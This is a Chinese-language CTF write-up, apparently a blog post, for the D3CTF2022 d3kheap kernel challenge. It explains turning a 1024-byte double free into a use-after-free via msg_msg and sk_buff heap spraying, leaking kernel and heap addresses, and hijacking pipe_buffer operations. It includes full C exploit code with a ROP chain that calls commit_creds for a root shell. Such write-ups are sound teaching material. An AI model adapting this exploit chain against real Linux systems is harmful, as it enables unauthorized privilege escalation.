• 【msg_msg+sk_buff】D3CTF2022-d3kheap


    前言

    本方法来自 CVE-2021-22555,非常漂亮的组合拳,仅仅一个 1024  的 UAF 即可提权,但是对于小堆块的 UAF 不适用。

    程序分析

    启动脚本如下:

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3. -m 256M \
    4. -cpu kvm64,+smep,+smap \
    5. -smp cores=2,threads=2 \
    6. -kernel bzImage \
    7. -initrd ./rootfs.cpio \
    8. -nographic \
    9. -monitor /dev/null \
    10. -snapshot \
    11. -append "console=ttyS0 kaslr pti=on quiet oops=panic panic=1" \
    12. -no-reboot \
    13. -s

    开启了 smap、smep、kaslr、pti 保护,并且给了部分编译选项:

    1. Here are some kernel config options you may need
    2. ```
    3. CONFIG_STATIC_USERMODEHELPER=y
    4. CONFIG_STATIC_USERMODEHELPER_PATH=""
    5. CONFIG_SLUB=y
    6. CONFIG_SLAB_FREELIST_RANDOM=y
    7. CONFIG_SLAB_FREELIST_HARDENED=y
    8. CONFIG_HARDENED_USERCOPY=y
    9. ```

    可以看到,大部分主流保护均开启。

    驱动程序非常简单,这里就不看了,一个 1024 大小的 double free,只有两次释放的机会。

     漏洞利用

    由于这题开启了 SLAB_FREELIST_HARDENED,所以我们不能直接 double free,这里我们将其转换为一个 UAF 去进行利用。

    1、将该堆块释放

    2、将该堆块分配到其他结构体

    3、再次将该堆块释放

    通过以上 3 步,即可构造好 UAF。

    接下来我们要做的就是泄漏内核基地址,劫持程序执行流。

    msg_msg+sk_buff

    以下将我们需要的那个 UAF 堆块称为 victim_chunk

    堆喷 msg_msg 去拿到 victim_chunk

     这里我们堆喷多个消息队列,每个消息队列中有两条消息,第一个为主消息,大小为 0x60;第二个为辅助消息,大小为 1024;

    这里的主消息只是为了方便定位检查,其实每个消息队列中就一个 1024 的消息就行

    通过堆喷,我们形成如下布局:

     这里的 msg_msg_1024 拿到的就是第一步释放的 victim_chunk

    堆喷 sk_buff 去拿到 victim_chunk

    然后我们再利用一次释放的机会将 victim_chunk 进行释放,然后再堆喷 sk_buff 去拿到该 victim_chuk。

    这里其实也可以直接用 setxattr 系统调用去进行数据篡改,但是其没有 sk_buff 好用,因为 sk_buff 可读可写,并且可以控制其释放。

    但是在小堆块的时候,sk_buff 并不适用,因为 sk_buff 有个尾巴,导致其堆块大小最小为 512

    通过堆喷,我们形成如下布局:

      

    可以看到,这时我们就可以通过 sk_buff 去修改 msg_msg_1024 的头从而实现越界读和任意地址读。

    那么我们该如果定位 msg_msg_1024 在那个消息队列中呢?这里比较简单,我们在堆喷 sk_buff 的时候将 msg_msg_1024 的 m_ts 字段改大,然后我们在用一个小的 bufsize 去读消息,这时候读取失败的就是我们寻找的消息,因为 msgrev 读取失败并不会 panic,而是会返回一个负数。

     泄漏内核基地址和 victim_chunk 的堆地址

    为什么要泄漏 victim_chunk 呢?因为最后我们要利用 pipe_buffer 去提权,到时候要让 pipe_buffer 去占用这个堆块,由于开启了 smap 保护,所以我们不能将函数表放在用户空间,而 pipe_buffer 的大小为 1024,所以我们可以直接把函数表伪造在上面,并且 msg_msg 也可以很好的帮助我们去泄漏相应地址

    泄漏 victim_chunk 地址

    所以我们在最开始堆喷 msg_msg 的时候,需要形成如下布局:

    即我们的 msg_msg_1024 的物理相邻的下一个堆块也是一个消息,当然你可以选择下下一个,随你啦。

    注意,这里 msg_msg64 不需要物理相邻

    这时候我们利用 sk_buff 修改 msg_msg_1024 的 m_ts 实现任意读,这样就可以可以泄漏其对应的 msg_msg64 的地址了,然后我们在利用 sk_buff 修改 msg_msg_1024 的 next 和 m_ts 实现任意地址读,从而泄漏 nearby_msg 的地址,然后再减 0x400 就可以得到 msg_msg_1024 即 victim_chunk 的地址了。

    泄漏内核基地址

    这就比较简单了,我们利用 sk_buff 去修复 msg_msg_1024 消息,然后将其释放。然后再堆喷 pipe_buffer 去占据该堆块,即形成如下布局:


     

    然后利用 sk_buff 读出 pipe_buffer 中的 anon_pipe_buf_ops 即可泄漏内核基地址。

    劫持 pipe_buffer 控制程序执行流

     最后就没啥了,利用 sk_buff 去写 pipe_buffer,最后打一个栈迁移就 ok 了

    这 gadget 是真不好找......

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #include
    29. int fd;
    30. void add() { ioctl(fd, 0x1234); }
    31. void dele() { ioctl(fd, 0xDEAD); }
    32. void err_exit(char *msg)
    33. {
    34. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    35. sleep(5);
    36. exit(EXIT_FAILURE);
    37. }
    38. void info(char *msg)
    39. {
    40. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    41. }
    42. void line(char *msg)
    43. {
    44. printf("\033[34m\033[1m\n[*]%s\n\033[0m", msg);
    45. }
    46. void hexx(char *msg, size_t value)
    47. {
    48. printf("\033[32m\033[1m[+] %s:\033[0m %#lx\n", msg, value);
    49. }
    50. void binary_dump(char *desc, void *addr, int len) {
    51. uint64_t *buf64 = (uint64_t *) addr;
    52. uint8_t *buf8 = (uint8_t *) addr;
    53. if (desc != NULL) {
    54. printf("\033[33m[*] %s:\n\033[0m", desc);
    55. }
    56. for (int i = 0; i < len / 8; i += 4) {
    57. printf(" %04x", i * 8);
    58. for (int j = 0; j < 4; j++) {
    59. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    60. }
    61. printf(" ");
    62. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    63. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    64. }
    65. puts("");
    66. }
    67. }
    68. void get_root_shell(void)
    69. {
    70. hexx("UID", getuid());
    71. char* args[] = { "/bin/sh", NULL };
    72. execve("/bin/sh", args, NULL);
    73. }
    74. size_t user_cs, user_ss, user_rflags, user_rsp;
    75. void save_status()
    76. {
    77. asm volatile (
    78. "mov user_cs, cs;"
    79. "mov user_ss, ss;"
    80. "mov user_rsp, rsp;"
    81. "pushf;"
    82. "pop user_rflags;"
    83. );
    84. puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
    85. }
    86. void bind_core(int core)
    87. {
    88. cpu_set_t cpu_set;
    89. CPU_ZERO(&cpu_set);
    90. CPU_SET(core, &cpu_set);
    91. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    92. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    93. }
    94. struct msg_buf {
    95. long m_type;
    96. char m_text[1];
    97. };
    98. struct msg_header {
    99. void* l_next;
    100. void* l_prev;
    101. long m_type;
    102. size_t m_ts;
    103. void* next;
    104. void* security;
    105. };
    106. void fill_msg(struct msg_header* msg, void* l_next, void* l_prev, long m_type, size_t m_ts, void* next, void* security)
    107. {
    108. msg->l_next = l_next;
    109. msg->l_prev = l_prev;
    110. msg->m_type = m_type;
    111. msg->m_ts = m_ts;
    112. msg->next = next;
    113. msg->security = security;
    114. }
    115. #define SOCKET_NUM 16
    116. #define SK_BUFF_NUM 128
    117. int init_socket(int sk_socket[SOCKET_NUM][2])
    118. {
    119. /* socket pairs to spray sk_buff */
    120. for (int i = 0; i < SOCKET_NUM; i++) {
    121. if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
    122. printf("[x] failed to create no.%d socket pair!\n", i);
    123. return -1;
    124. }
    125. }
    126. return 0;
    127. }
    128. int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
    129. {
    130. for (int i = 0; i < SOCKET_NUM; i++) {
    131. for (int j = 0; j < SK_BUFF_NUM; j++) {
    132. if (write(sk_socket[i][0], buf, size) < 0) {
    133. printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
    134. return -1;
    135. }
    136. }
    137. }
    138. return 0;
    139. }
    140. int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
    141. {
    142. for (int i = 0; i < SOCKET_NUM; i++) {
    143. for (int j = 0; j < SK_BUFF_NUM; j++) {
    144. if (read(sk_socket[i][1], buf, size) < 0) {
    145. puts("[x] failed to received sk_buff!");
    146. return -1;
    147. }
    148. }
    149. }
    150. return 0;
    151. }
    152. #define MSG_QUEUE_NUM 4096
    153. #define PIPE_NUM 256
    154. #define PRIMARY_MSG_TAG 0xAAAAAAAA
    155. #define SECONDARY_MSG_TAG 0xBBBBBBBB
    156. #define PRIMARY_MSG_TYPE 0x41
    157. #define SECONDARY_MSG_TYPE 0x42
    158. #define VICTIM_MSG_TYPE 0x111
    159. #define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
    160. size_t pop_rdi = 0xffffffff810938f0; // pop rdi ; ret
    161. size_t init_cred = 0xffffffff82c6d580;
    162. size_t commit_creds = 0xffffffff810d25c0;
    163. size_t swapgs_kpti = 0xFFFFFFFF81C01006;
    164. size_t push_rsi_pop_rsp_pop_4 = 0xFFFFFFFF812DBEDE;
    165. int main(int argc, char** argv, char** env)
    166. {
    167. bind_core(0);
    168. save_status();
    169. int qid[MSG_QUEUE_NUM];
    170. int sk_socket[SOCKET_NUM][2];
    171. int victim_id;
    172. int pipe_fd[PIPE_NUM][2];
    173. struct msg_buf* msg_msg;
    174. size_t l_next;
    175. size_t l_prev;
    176. size_t uaf_addr;
    177. size_t kernel_offset;
    178. char message[0x2000];
    179. char sk_msg[1024-320];
    180. if (init_socket(sk_socket) == -1) err_exit("init_sockets");
    181. fd = open("/dev/d3kheap", O_RDONLY);
    182. if (fd < 0) err_exit("open /dev/d3kheap");
    183. line("Step.I Spray primary and secondary msg_msg to get free object...");
    184. add();
    185. for (int i = 0; i < MSG_QUEUE_NUM; i++)
    186. if ((qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("msgget");
    187. for (int i = 0; i < MSG_QUEUE_NUM; i++)
    188. {
    189. msg_msg = (struct msg_buf*)message;
    190. msg_msg->m_type = PRIMARY_MSG_TYPE;
    191. *(int*)&msg_msg->m_text[0] = PRIMARY_MSG_TAG;
    192. if (msgsnd(qid[i], msg_msg, 0x60-0x30, 0) < 0) err_exit("primary msg msgsnd");
    193. msg_msg->m_type = SECONDARY_MSG_TYPE;
    194. *(int*)&msg_msg->m_text[0] = SECONDARY_MSG_TAG;
    195. if (msgsnd(qid[i], msg_msg, 1024-0x30, 0) < 0) err_exit("secondary msg msgsnd");
    196. if (i == MSG_QUEUE_NUM/2) dele();
    197. }
    198. line("Step.II Spray sk_buff to get UAF object...");
    199. dele();
    200. fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, 1, 1024, (void*)0, (void*)0);
    201. if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
    202. puts("Find out the victim msg_msg idx...");
    203. victim_id = -1;
    204. for (int i = 0; i < MSG_QUEUE_NUM; i++)
    205. {
    206. if (msgrcv(qid[i], message, 1024-0x30, 1, MSG_COPY|IPC_NOWAIT) < 0)
    207. {
    208. victim_id = i;
    209. break;
    210. }
    211. }
    212. if (victim_id == -1) err_exit("Failed to find out victim msg_msg idx");
    213. hexx("victim_id", victim_id);
    214. line("Step.III Leak the victim msg_msg heap addr...");
    215. if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
    216. fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, VICTIM_MSG_TYPE, 0x1000-0x30, (void*)0, (void*)0);
    217. if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
    218. if (msgrcv(qid[victim_id], message, 0x1000-0x30, 1, MSG_COPY|IPC_NOWAIT) < 0) err_exit("OOB the next nearby secondary msg_msg");
    219. if (*(int*)(message+8+1024) != SECONDARY_MSG_TAG) err_exit("Failed to OOB the next nearby secondary msg_msg");
    220. binary_dump("OOB secondary msg_msg data", message+8+1024-0x30, 0x100);
    221. l_next = ((struct msg_header*)(message+8+1024-0x30))->l_next;
    222. l_prev = ((struct msg_header*)(message+8+1024-0x30))->l_prev;
    223. hexx("secondary nearby msg_queue heap addr", l_next);
    224. hexx("secondary nearby primary msg heap addr", l_prev);
    225. if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
    226. fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, VICTIM_MSG_TYPE, 0x1400, (void*)(l_prev-8), (void*)0);
    227. if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
    228. if (msgrcv(qid[victim_id], message, 0x1400, 1, MSG_COPY|IPC_NOWAIT) < 0) err_exit("ARB the next nearby primary msg_msg");
    229. if (*(int*)(message+8+0x1000) != PRIMARY_MSG_TAG) err_exit("Failed to ARB the next nearby primary msg_msg");
    230. binary_dump("ARB secondary msg_msg data", message+8+0x1000-0x30, 0x100);
    231. l_next = ((struct msg_header*)(message+8+0x1000-0x30))->l_next;
    232. l_prev = ((struct msg_header*)(message+8+0x1000-0x30))->l_prev;
    233. uaf_addr = l_next - 0x400;
    234. hexx("secondary nearby msg_msg heap addr", l_next);
    235. hexx("secondary nearby msg_queue heap addr", l_prev);
    236. hexx("victim object heap addr", uaf_addr);
    237. line("Step.IV Fix the victim msg_msg and Spray pipe_buffer to get the UAF object...");
    238. if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
    239. fill_msg((struct msg_header*)sk_msg, (void*)(uaf_addr+0x800), (void*)(uaf_addr+0x800), VICTIM_MSG_TYPE, 1024-0x30, (void*)(0), (void*)0);
    240. if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
    241. if (msgrcv(qid[victim_id], message, 1024-0x30, VICTIM_MSG_TYPE, 0) < 0) err_exit("Free the victim msg_msg");
    242. for (int i = 0; i < PIPE_NUM; i++)
    243. {
    244. if (pipe(pipe_fd[i]) < 0) err_exit("create pipe");
    245. if (write(pipe_fd[i][1], "pwn", 3) < 0) err_exit("write pipe");
    246. }
    247. info(" leak kernel_offset");
    248. kernel_offset = -1;
    249. for (int i = 0; i < SOCKET_NUM; i++)
    250. {
    251. for (int j = 0; j < SK_BUFF_NUM; j++)
    252. {
    253. if (read(sk_socket[i][1], sk_msg, sizeof(sk_msg)) < 0) err_exit("read sk_socket");
    254. if (((*(size_t*)(sk_msg+0x10))&0xfff) == 0xe40) kernel_offset = (*(size_t*)(sk_msg+0x10)) - ANON_PIPE_BUF_OPS;
    255. }
    256. }
    257. if (kernel_offset == -1) err_exit("Failed to leak kernel_offset");
    258. hexx("kernel_offset", kernel_offset);
    259. line("Step.V Hijack the pipe_buffer->pipe_buf_operations->release...");
    260. size_t rop[] = {
    261. 0,
    262. 0,
    263. uaf_addr+0x20,
    264. 0,
    265. pop_rdi+kernel_offset,
    266. push_rsi_pop_rsp_pop_4+kernel_offset,
    267. pop_rdi+kernel_offset,
    268. init_cred+kernel_offset,
    269. commit_creds+kernel_offset,
    270. swapgs_kpti+kernel_offset,
    271. 0,
    272. 0,
    273. get_root_shell,
    274. user_cs,
    275. user_rflags,
    276. user_rsp,
    277. user_ss
    278. };
    279. memcpy(sk_msg, rop, sizeof(rop));
    280. if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
    281. for (int i = 0; i < PIPE_NUM; i++)
    282. {
    283. close(pipe_fd[i][1]);
    284. close(pipe_fd[i][0]);
    285. }
    286. info("End!");
    287. return 0;
    288. }

    最后运行即可可以成功提权

     

  • 相关阅读:
    Django视图(三)
    JVM 垃圾回收
    shiro安全框架的学习笔记
    java面试(网络)
    若依框架导出下载pdf/excel以及导入打印等
    elenium定位element-plus框架渲染之后的页面
    Scala系列-4、scala中特质、柯里化、闭包等
    1. yolo 前置知识
    C++实现查询本机信息并且上报
    Win11的22H2依然没有WSA(Windows Subsystem for Android)?
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133634864